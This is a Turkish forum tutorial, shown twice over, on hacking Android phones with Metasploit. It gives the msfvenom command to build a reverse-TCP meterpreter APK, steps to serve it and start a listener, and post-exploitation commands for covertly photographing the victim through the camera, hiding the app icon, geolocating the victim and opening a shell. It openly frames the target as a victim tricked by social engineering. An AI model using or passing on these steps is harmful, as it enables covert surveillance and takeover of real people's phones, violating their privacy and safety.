Métasploit ile Android Cihazları Hackleyin. //Siber Güvenlik Kulübü
İşlemin gerçekleşmesi için Met@sploit aracılığı ile oluşturacağımız androidapkyı kurbanın telefonuna yüklenmesi ve açılması gerekmektedir.
Öncelikle Kali Linux makinemizde terminale giriyoruz. Aşağıdaki komutu girerek, önümüze gelen bilgilerden örn: inet = 192.168.1.41 IP adresimizi öğreniyoruz.
Daha sonra aşağıdaki komutda uygun yerleri düzelterek androidapkmızı oluşturuyouz.
msfvenom p android/meterpreter/reverse_tcp LHOST=IP_ADRESINIZ LPORT=4444 R > APKYI_OLUŞTURMAK/ISTEDIGINIZ/DIZIN
Örneğin ben masaüstünde yukarıda belirttiğimiz IP Adresinde, androidApk isimli bir apk oluşturmak için bu şekilde dolduruyorum.
Daha sonra aşağıdaki komutları ard arda yazarak apache servisimizi açıyoruz ve açılıp açılmadığını kontrol ediyoruz.
Daha sonra Met@sploiti açıyoruz.
Aşağıdaki komutu yazarak payloadımızı seçiyoruz.
Daha sonra aşağıdaki komutu girerek seçeneklere bakıyoruz.
Aşağıdaki komutu girerek IP adresimizi ayarlıyoruz.
Daha sonra da aşağıdaki komutu girerek sömürme işlemimizi başlatıyoruz.
Met@sploit el sıkışmasını beklerken kurbana oluşturduğumuz apkyı indiriyoruz, kuruyoruz daha sonra da açıyoruz.
Bağlantı alınca komut satırımız geliyor zaten.
Komut satırımıza aşağıdaki komutu yazıyoruz.
Daha sonra aşağıdaki kodu yazarak oturumları listeliyoruz.
Daha sonra da bağlanacağımız oturumun numarasına bakıyoruz ve aşağıdaki komutu giriyoruz.
sessions i OTURUM_NUMARASI
Örn:
Daha sonra bağlantıyı kurmuş bulunuyoruz şimdi aşağıdaki komutu yazarak neler yapabileceğimize bakıyoruz.
Örnekler;
app_list yazarak yüklü olan uygulamaları listeleyebiliriz.
webcam_snap diyerek kurban farkına varmadan kamerasından görüntü alabiliriz.
[url=https://hizliresim.com/AOBL6r][img]https://i.hizliresim.com/AOBL6r.jpg[/img][/url]
hide_app_icon diyerek uygulamanın ikonunu gizleyebiliriz. Böylece menüde uygulamayı göremeyecektir. Sosyal mühendislik yaptıysanız uygulamanın yüklü olduğunun farkına bile varmayabilir.
[url=https://hizliresim.com/zGd3l9][img]https://i.hizliresim.com/zGd3l9.png[/img][/url]
geolocate komutu ile kurbanın bulunduğu konumun koordinatlarını elde edebiliriz.
shell komutu ile terminal oluşturabiliriz ve terminali dilediğimiz gibi kullanabiliriz.
NOT: Root olmak için benim cihazımda kontrol eden uygulama vardı bu yüzden cihazımdan izin istediğimde ekrana bildirim gidiyordu. Ayrıca uygulamada root değilseniz bazı özellikleri kullanamayacaksınız. (Yukarıdakiler için izine ihtiyaç yoktur.)
Videolu Anlatım:
https://www.youtube.com/watch?v=YRm-St0bJhU
Öncelikle Kali Linux makinemizde terminale giriyoruz. Aşağıdaki komutu girerek, önümüze gelen bilgilerden örn: inet = 192.168.1.41 IP adresimizi öğreniyoruz.
Kod:
ifconfigDaha sonra aşağıdaki komutda uygun yerleri düzelterek androidapkmızı oluşturuyouz.
msfvenom p android/meterpreter/reverse_tcp LHOST=IP_ADRESINIZ LPORT=4444 R > APKYI_OLUŞTURMAK/ISTEDIGINIZ/DIZIN
Örneğin ben masaüstünde yukarıda belirttiğimiz IP Adresinde, androidApk isimli bir apk oluşturmak için bu şekilde dolduruyorum.
Kod:
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.41 LPORT=4444 R > /root/Desktop/androidApp.apkDaha sonra aşağıdaki komutları ard arda yazarak apache servisimizi açıyoruz ve açılıp açılmadığını kontrol ediyoruz.
Kod:
service apache2 start
Kod:
service apache2 statusDaha sonra Met@sploiti açıyoruz.
Kod:
msfconsoleAşağıdaki komutu yazarak payloadımızı seçiyoruz.
Kod:
set payload android/meterpreter/reverse_tcpDaha sonra aşağıdaki komutu girerek seçeneklere bakıyoruz.
Kod:
show optionsAşağıdaki komutu girerek IP adresimizi ayarlıyoruz.
Kod:
set LHOST 192.168.1.41Daha sonra da aşağıdaki komutu girerek sömürme işlemimizi başlatıyoruz.
Kod:
exploitMet@sploit el sıkışmasını beklerken kurbana oluşturduğumuz apkyı indiriyoruz, kuruyoruz daha sonra da açıyoruz.
Bağlantı alınca komut satırımız geliyor zaten.
Komut satırımıza aşağıdaki komutu yazıyoruz.
Kod:
backgroundDaha sonra aşağıdaki kodu yazarak oturumları listeliyoruz.
Kod:
sessionsDaha sonra da bağlanacağımız oturumun numarasına bakıyoruz ve aşağıdaki komutu giriyoruz.
sessions i OTURUM_NUMARASI
Örn:
Kod:
sessions i 2Daha sonra bağlantıyı kurmuş bulunuyoruz şimdi aşağıdaki komutu yazarak neler yapabileceğimize bakıyoruz.
Kod:
helpÖrnekler;
app_list yazarak yüklü olan uygulamaları listeleyebiliriz.
webcam_snap diyerek kurban farkına varmadan kamerasından görüntü alabiliriz.
[url=https://hizliresim.com/AOBL6r][img]https://i.hizliresim.com/AOBL6r.jpg[/img][/url]
hide_app_icon diyerek uygulamanın ikonunu gizleyebiliriz. Böylece menüde uygulamayı göremeyecektir. Sosyal mühendislik yaptıysanız uygulamanın yüklü olduğunun farkına bile varmayabilir.
[url=https://hizliresim.com/zGd3l9][img]https://i.hizliresim.com/zGd3l9.png[/img][/url]
geolocate komutu ile kurbanın bulunduğu konumun koordinatlarını elde edebiliriz.
shell komutu ile terminal oluşturabiliriz ve terminali dilediğimiz gibi kullanabiliriz.
NOT: Root olmak için benim cihazımda kontrol eden uygulama vardı bu yüzden cihazımdan izin istediğimde ekrana bildirim gidiyordu. Ayrıca uygulamada root değilseniz bazı özellikleri kullanamayacaksınız. (Yukarıdakiler için izine ihtiyaç yoktur.)
Videolu Anlatım:
https://www.youtube.com/watch?v=YRm-St0bJhU
Son düzenleme:
)
